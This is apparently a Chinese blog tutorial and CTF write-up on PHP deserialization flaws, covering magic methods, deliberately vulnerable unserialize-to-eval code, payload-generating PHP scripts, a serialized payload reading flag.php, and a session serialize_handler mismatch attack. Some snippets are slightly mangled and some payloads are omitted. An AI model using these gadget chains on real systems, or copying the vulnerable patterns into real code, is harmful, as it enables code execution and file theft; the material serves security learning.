之前web一直被PHP反序列化的一些问题困扰,现在痛定思痛,决定好好的总结一番(大佬请略过)
一般反序列化能用的例子都是利用了PHP中的一些可以自动调用的特殊函数,类似于C++中的构造函数之类的,不需要其他函数调用即可自动运行。通常称这些函数为魔幻函数,常用的魔幻函数包括construct(),destruct(), sleep(),wakeup(), toString().
首先我们以construct()为例,测试一下其自动执行情况。
class example
{
var $xxx='hahahaha';
function __construct(){
echo($this->xxx);
}
}
$test=new example();
echo serialize($test);
?>
我们在函数中定义了一个example类,然后用new新建了一个example对象,在新建对象的时候,其中的魔幻函数__construct()自动执行,echo输出了$xxx的值,同时在代码的最后一段,我们调用了序列化函数,将test对象给序列化。
这里提一下,序列化函数和反序列化函数。所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。
不懂的朋友可以参考一下PHP手册
首先我们要确定一点,利用反序列化漏洞的有两个条件
1.unserialize()函数的参数可控
2.php中有可以利用的类并且类中有魔幻函数
接下来实验一下第一个比较有意思的例子。
test.php
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>
在这个例子中,我们创建了一个example类一个process类,example类中有一个变量$handle,一个魔幻函数__destruct(),魔幻函数中调用了函数funnnn,然而根据funnnn中的函数显示,变量handle调用了prcocess类的方法,这说明handle变量是一个process类的实例对象。
再看代码,发现我们需要通过get方法输入的是一个data值,而且data值在传递进去之后,会先被反序列化一下,之前我们说过,序列化只会保存对象的所有变量,现在我们的目标就很明确了。
1.必须让handle变量是一个process类的实例化对象
2.由于process中的close()函数是eval执行语句,所以handle中的pid就可以是我们想要执行的语句,然后我写了一个shell.php,构造出了可以利用的handle,代码如下。
shell.php
class example
{
public $handle;
function __construct(){
$this->handle=new process();
}
}
class process{
public $pid;
function __construct(){
$this->pid='phpinfo();';
}
}
$test=new example();
echo serialize($test);
?>
执行这个代码,得到payload如下
首先解释一下这个payload,他表示这一串序列化中,有一个example对象,其中包含一个变量handle,handle又是一个process类的实例,其中包含一个pid变量,其值为phpinfo();然后我们将payload打入test.php查看效果发现执行成功,得到了phpinfo()的信息,如下图:
这里我们将test.php中的destruct()改为wakeup()也可以,因为__wakeup函数是在反序列化是自动调用的函数,实验一下。
test1.php
class example
{
public $handle;
function __wakeup(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>
还是运行shell.php执行产生的payload,得到了预期结果。
这里以一道CTF题目为例子,加深一下印象。题目前一部分是利用php协议,最后取得flag需要用到php反序列化漏洞,这里我只说明一下反序列化的漏洞。
题目地址
我们最终得到的题目源php代码为
hint.php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("good");
}
}
}
?>
index.php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ echo "hello friend!
";
if(preg_match("/flag/",$file))
{
echo "不能现在就给你flag哦";
exit();
}
else{
include($file);
$password = unserialize($password);
echo $password; }
}
else{
echo "you are not the number of bugku ! "; }
?>
首先要注意:
1.password变量最初是一个序列化的,而且还应该是一个Flag类的实例
2.flag在flag.php里面
3.Flag类中有魔幻函数,index.php中unserialize函数参数可控
于是我们构造payload:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},反序列化之后,password是一个Flag类的实例,有一个file变量,内容为flag.php。当index.php对password执行echo操作时,会自动触发Flag类中的__tostring()函数,然后通过echo file_get_contents($this->file)输出flag.php里面的内容,最终结果如下:
PHP session反序列化
最开始接触session类型是有一次打CTF比赛的时候,jarvis oj上面的一道题目。题目链接
进来之后,发现题目给了一个php代码:
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
刚开始的看的时候,我也不太懂,但是根据提示,应该是PHP反序列化漏洞问题。google了一下ini_set('session.serialize_handler', 'php'),发现是PHPsession的序列化和反序列化问题,出题人应该是根据我找到的参考2的漏洞报告出的题,接下来我们分析这个题目。
php提供了 session.serialize_handler 配置选项,设置该选项可以选择序列化问题使用的处理器,常用的处理器有三种:
然后我尝试查看了一下本题服务器的php版本,发现能够查看,而且发现其默认的session.serialize_handler为 php_serialize,这与本题中php代码第一行就设置的session.serialize_handler为php不符合。
我们先测试一下php和php_serialize的区别,测试代码
ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION["test"]=$_GET["t"];
?>
输出的结果 php_serialize为t:1:{s:4:"test";s:4:"1111";} php的结果为test|s:4:"1111";
所以我们看到,如果我们的$_SESSION['ceshi']=''|O:8:"students":0:{}';' 那么当我们用php_serialize存储时候,他会是a:1:{s:5:"测试";s:20:"|O:8:"students":0:{}";} 然后当我们用php进行读取的时候,反序列化的结果会是
array(1) {
["a:1:{s:5:"ceshi";s:20:""]=>
object(students)#1 (0) {
}
}
我们通过|伪造对象的序列化数据,成功实例化了students对象。
对于本题,我们没有上传点,但是通过参考2,且查看本题的session.upload_progress.enabled为On
所以我们需要构造一个html页面
test XXE然后构造payload:
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$test = new OowoO();
$x = serialize($test);
var_dump($x);
?>
得到payload:
然后通过修改的html抓包,改filename,先扫描一下目录
修改payload,得到flag,此题为php session反序列化漏洞的一个典型例子